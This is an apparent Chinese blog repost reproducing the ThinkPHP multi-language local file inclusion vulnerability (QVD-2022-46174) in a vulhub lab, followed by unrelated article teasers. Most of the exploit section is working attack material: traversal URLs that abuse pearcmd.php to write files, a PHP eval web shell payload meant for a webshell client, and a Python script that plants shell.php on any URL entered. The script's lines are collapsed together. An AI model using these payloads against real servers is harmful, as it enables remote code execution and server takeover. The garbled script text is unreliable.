ThinkPHP Lang多语言本地文件包含漏洞(QVD-2022-46174)漏洞复现

2024-04-28 07:04

本文主要是介绍ThinkPHP Lang多语言本地文件包含漏洞(QVD-2022-46174)漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1 漏洞描述

ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当ThinkPHP开启了多语言功能时,攻击者可以通过lang参数和目录穿越实现文件包含,当存在其他扩展模块如 pear 扩展时,攻击者可进一步利用文件包含实现远程代码执行。
影响版本

6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x

2 漏洞环境部署

进入目录
cd  vulhub/thinkphp/lang-rce
部署环境
docker-compose up -d
查看端口
docker-compose ps

访问服务器,表示环境正在成功运行。

3 利用方式

首先,由于多语言功能默认未启用,因此可以尝试包含 以确定是否存在漏洞:

http://192.168.135.132:8080/?lang=../../../../../public/index

如果服务器崩溃并返回 500 错误响应,则存在该漏洞。

然后,尝试通过“/usr/local/lib/php/pearcmd.php”写入数据:

使用如下payload:

http://192.168.135.132:8080/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1

访问写入的文件

写入一句话木马payload

http://192.168.135.132:8080/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=eval(@$_POST['password']);?>+shell2.php 

使用蚁剑链接

4 使用python脚本探测漏洞

#!/usr/bin/env python
​
import requests
from urllib.parse import urljoin
​
def thinkphp6_lang(url):payload=urljoin(url,'index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php')response=requests.get(payload,verify=False)url2=url+'shell.php'response2=requests.get(url2,verify=False)if response2.status_code == 200:print("漏洞存在")else:print("漏洞不存在")
​
if __name__ == '__main__':print("注意:本代码仅用于实验和学习目的,请谨慎使用。")url = input("请输入目标 URL: ")thinkphp6_lang(url)

结果

这篇关于ThinkPHP Lang多语言本地文件包含漏洞(QVD-2022-46174)漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/942586

相关文章

C语言——学生管理系统

一、功能需求 实现一个学生管理系统,实现学生的增删改操作 二、需求分析 1、 定义学生类型结构体 姓名、年龄、成绩 2、 定义一个班级类型结构体 结构体类型数组(学生结构体作为元素)、人数 3、定义一个print函数 欢迎使用学生管理系统1.0 1.增加学生 2.删除学生 3.修改学生 4.显示所有学生 5.退出 请输入您的选择: 三、代码实现 type.h //头文件 #i

XP 下 Java 本地接口调用 MinGW 编译的动态库

Java 程序可以“一次编写,到处运行”,原因是它运行在 Ja va 虚拟机上。 正是由于这个原因,它的执行效率也会相应打些折扣,特别是一些与操作系统连接比较紧密的操作。 所以 Java 也提供了本地接口,以便直接调用其它更高效的程序接口,例如 C 、C ++ 等等。 MinGW 是一个运行在 Windows 平台的 C 、C ++ 编译器,支持 Make 、Gdb 等类似 Linux 环境

数据结构与算法学习笔记一---顺序表的静态存储表示和实现(C语言)

目录 1.顺序表的静态存储过程 1.初始化 2.销毁 3.清空 4.表长  5.获取数据元素  6.直接前驱 7.直接后继  8.插入 9.删除   10.遍历 11.测试代码 前言         这篇博客主要是顺序表的静态分配存储表示。 1.顺序表的静态存储过程         我们使用静态数据来存储顺序表中的数据元素,静态顺序表定义如下: //---

学习笔记-C语言6(指针与动态内存分配)

指针的引入 指针是C语言最强大的功能之一,使用指针可以保存某个变量在内存中的地址,并且通过操作指针来对该片内存进行灵活的操作,例如改变原变量的值,或者构造复杂的数据结构。指针一般初始化为NULL(0)。& 是取地址运算,* 是间接运算符,通过 * 可以访问与修改指针所指的变量值。 声明指针变量:变量类型 * 变量名;获取指针指向的变量中存储的值: * 变量名。 指向指针的指针 存储指针的地

学习笔记-C语言5(算法设计提高)

目录 1. 二分查找 2. LeetCode 34,Search for a Range(区间查找) 3. LeetCode 200. Number of Islands(岛屿数量) 算法复杂度是指算法在编写可执行程序后,运行时所需要的时间资源和内存资源。算法设计一般更在意时间和计算资源的开销,而对空间资源则不太介意。 1. 二分查找 二分查找又称折半查找,首先数组中的元素时按升序

学习笔记-C语言2(一维数组与函数初步)

目录 1. 数组的初始化 2. 最长平台问题 3. 基于交换的排序 4. 函数初步 5. 无重复数字 6. 数组作为参数的函数 7. 函数的声明:函数原型 小贴士: 变量名在运行时候不占用内存,在编译的时候要占用内存(编译器要理解字符串文本,需要存储占用内存;翻译成机器码之后是对内存的操作,变量名代表的是一个地址了,就不占内存) 1. 数组的初始化 注:如果声明了数组后,

学习笔记-C语言1(编程入门)

目录 1. 文件开头 2. 输入输出 3. 定义常量 4.  变量的类型和转换说明符 5.  关系运算符和逻辑运算符及优先级 6. if 语句、switch语句、for 语句 7.递增与递减云算法 8. 算法设计入门 9. 哥德巴赫猜想 C语言和C++是作为一名程序员必备技能,非科班出身的我对这些语言一直是一知半解,后来更是直接使用简单易上手的python,matlab语言

本机部署大语言模型:Ollama和OpenWebUI实现各大模型的人工智能自由

本机部署大语言模型:Ollama和OpenWebUI实现各大模型的人工智能自由 本篇文章介绍在window系统下,安装Ollama并且安装gemma(谷歌大模型)、llama2(脸书大模型)、qwen(阿里大模型)等大模型的教程,实现类似免费ChatGPT的web界面 OllamaFengmian 安装之后的web界面 image-20240514091912366 什么是Ollama Olla

【SRC实战】小游戏漏洞修改分数打榜

挖个洞先 https://mp.weixin.qq.com/s/Um0HU2srvZ0UlZRAsbSVug “ 以下漏洞均为实验靶场,如有雷同,纯属巧合 ” 01 — 漏洞证明 “ 如何刷分提高排名?” 1、进入小游戏,类似于跳一跳 2、开始时每次加1分 3、随着游戏进行,增加分数逐渐变多 4、掉落方块,游戏结束,本次得分22 5、修改score分数为90000

GO语言核心30讲 实战与应用 (WaitGroup和Once,context,Pool,Map,字符编码,string包,bytes包)

原站地址:Go语言核心36讲_Golang_Go语言-极客时间 一、sync.WaitGroup和sync.Once 1. sync.WaitGroup 比通道更加适合实现一对多的 goroutine 协作流程。 2. WaitGroup类型有三个指针方法:Wait、Add和Done,以及内部有一个计数器。 (1) Wait方法:阻塞当前的 goroutine,直到计数器归零。 (2)